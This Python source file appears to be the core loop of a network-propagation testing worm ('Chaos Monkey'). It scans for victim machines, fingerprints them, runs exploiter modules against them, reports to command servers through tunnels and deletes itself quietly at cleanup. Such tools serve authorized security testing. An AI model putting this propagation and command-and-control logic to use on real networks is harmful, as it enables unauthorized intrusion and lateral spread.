monkey/chaos_monkey/monkey.py

243 lines
10 KiB
Python

import sys
import os
import time
import logging
import tunnel
import argparse
import subprocess
from system_singleton import SystemSingleton
from network.firewall import app as firewall
from control import ControlClient
from config import WormConfiguration
from network.network_scanner import NetworkScanner
from model import DELAY_DELETE_CMD
from system_info import SystemInfoCollector
__author__ = 'itamar'
LOG = logging.getLogger(__name__)
class ChaosMonkey(object):
def __init__(self, args):
self._keep_running = False
self._exploited_machines = set()
self._fail_exploitation_machines = set()
self._singleton = SystemSingleton()
self._parent = None
self._default_tunnel = None
self._args = args
self._network = None
self._dropper_path = None
self._exploiters = None
self._fingerprint = None
self._default_server = None
self._depth = 0
def initialize(self):
LOG.info("Monkey is initializing...")
if not self._singleton.try_lock():
raise Exception("Another instance of the monkey is already running")
arg_parser = argparse.ArgumentParser()
arg_parser.add_argument('-p', '--parent')
arg_parser.add_argument('-t', '--tunnel')
arg_parser.add_argument('-s', '--server')
arg_parser.add_argument('-d', '--depth')
opts, self._args = arg_parser.parse_known_args(self._args)
self._parent = opts.parent
self._default_tunnel = opts.tunnel
self._default_server = opts.server
if opts.depth:
WormConfiguration.depth = int(opts.depth)
WormConfiguration._depth_from_commandline = True
self._keep_running = True
self._network = NetworkScanner()
self._dropper_path = sys.argv[0]
if self._default_server:
if self._default_server not in WormConfiguration.command_servers:
LOG.debug("Added default server: %s" % self._default_server)
WormConfiguration.command_servers.insert(0, self._default_server)
else:
LOG.debug("Default server: %s is already in command servers list" % self._default_server)
def start(self):
LOG.info("Monkey is running...")
if firewall.is_enabled():
firewall.add_firewall_rule()
ControlClient.wakeup(parent=self._parent, default_tunnel=self._default_tunnel)
ControlClient.load_control_config()
if not WormConfiguration.alive:
LOG.info("Marked not alive from configuration")
return
monkey_tunnel = ControlClient.create_control_tunnel()
if monkey_tunnel:
monkey_tunnel.start()
last_exploit_time = None
ControlClient.send_telemetry("state", {'done': False})
self._default_server = WormConfiguration.current_server
LOG.debug("default server: %s" % self._default_server)
ControlClient.send_telemetry("tunnel", ControlClient.proxies.get('https'))
if WormConfiguration.collect_system_info:
LOG.debug("Calling system info collection")
system_info_collector = SystemInfoCollector()
system_info = system_info_collector.get_info()
ControlClient.send_telemetry("system_info_collection", system_info)
if 0 == WormConfiguration.depth:
LOG.debug("Reached max depth, shutting down")
ControlClient.send_telemetry("trace", "Reached max depth, shutting down")
return
else:
LOG.debug("Running with depth: %d" % WormConfiguration.depth)
for _ in xrange(WormConfiguration.max_iterations):
ControlClient.keepalive()
ControlClient.load_control_config()
self._network.initialize()
self._exploiters = [exploiter() for exploiter in WormConfiguration.exploiter_classes]
self._fingerprint = [fingerprint() for fingerprint in WormConfiguration.finger_classes]
if not self._keep_running or not WormConfiguration.alive:
break
machines = self._network.get_victim_machines(WormConfiguration.scanner_class,
max_find=WormConfiguration.victims_max_find,
stop_callback=ControlClient.check_for_stop)
is_empty = True
for machine in machines:
if ControlClient.check_for_stop():
break
is_empty = False
for finger in self._fingerprint:
LOG.info("Trying to get OS fingerprint from %r with module %s",
machine, finger.__class__.__name__)
finger.get_host_fingerprint(machine)
ControlClient.send_telemetry('scan', {'machine': machine.as_dict(),
'scanner': WormConfiguration.scanner_class.__name__})
# skip machines that we've already exploited
if machine in self._exploited_machines:
LOG.debug("Skipping %r - already exploited",
machine)
continue
elif machine in self._fail_exploitation_machines:
if WormConfiguration.retry_failed_explotation:
LOG.debug("%r - exploitation failed before, trying again", machine)
else:
LOG.debug("Skipping %r - exploitation failed before", machine)
continue
successful_exploiter = None
if monkey_tunnel:
monkey_tunnel.set_tunnel_for_host(machine)
if self._default_server:
LOG.debug("Default server: %s set to machine: %r" % (self._default_server, machine))
machine.set_default_server(self._default_server)
for exploiter in self._exploiters:
if not exploiter.is_os_supported(machine):
LOG.info("Skipping exploiter %s host:%r, os is not supported",
exploiter.__class__.__name__, machine)
continue
LOG.info("Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__)
try:
if exploiter.exploit_host(machine, WormConfiguration.depth):
successful_exploiter = exploiter
break
else:
LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__)
ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__,
'exploiter': exploiter.__class__.__name__})
except Exception, exc:
LOG.error("Exception while attacking %s using %s: %s",
machine, exploiter.__class__.__name__, exc)
continue
if successful_exploiter:
self._exploited_machines.add(machine)
last_exploit_time = time.time()
ControlClient.send_telemetry('exploit', {'result': True, 'machine': machine.__dict__,
'exploiter': successful_exploiter.__class__.__name__})
LOG.info("Successfully propagated to %s using %s",
machine, successful_exploiter.__class__.__name__)
# check if max-exploitation limit is reached
if WormConfiguration.victims_max_exploit <= len(self._exploited_machines):
self._keep_running = False
LOG.info("Max exploited victims reached (%d)", WormConfiguration.victims_max_exploit)
break
else:
self._fail_exploitation_machines.add(machine)
if not is_empty:
time.sleep(WormConfiguration.timeout_between_iterations)
if self._keep_running and WormConfiguration.alive:
LOG.info("Reached max iterations (%d)", WormConfiguration.max_iterations)
elif not WormConfiguration.alive:
LOG.info("Marked not alive from configuration")
# if host was exploited, before continue to closing the tunnel ensure the exploited host had its chance to
# connect to the tunnel
if last_exploit_time and (time.time() - last_exploit_time < 60):
time.sleep(time.time() - last_exploit_time)
if monkey_tunnel:
monkey_tunnel.stop()
monkey_tunnel.join()
def cleanup(self):
LOG.info("Monkey cleanup started")
self._keep_running = False
# Signal the server (before closing the tunnel)
ControlClient.send_telemetry("state", {'done': True})
# Close tunnel
tunnel_address = ControlClient.proxies.get('https', '').replace('https://', '').split(':')[0]
if tunnel_address:
LOG.info("Quitting tunnel %s", tunnel_address)
tunnel.quit_tunnel(tunnel_address)
firewall.close()
self._singleton.unlock()
if WormConfiguration.self_delete_in_cleanup and -1 == sys.executable.find('python'):
try:
if "win32" == sys.platform:
from _subprocess import SW_HIDE, STARTF_USESHOWWINDOW, CREATE_NEW_CONSOLE
startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags = CREATE_NEW_CONSOLE | STARTF_USESHOWWINDOW
startupinfo.wShowWindow = SW_HIDE
subprocess.Popen(DELAY_DELETE_CMD % {'file_path': sys.executable},
stdin=None, stdout=None, stderr=None,
close_fds=True, startupinfo=startupinfo)
else:
os.remove(sys.executable)
except Exception, exc:
LOG.error("Exception in self delete: %s", exc)
LOG.info("Monkey is shutting down")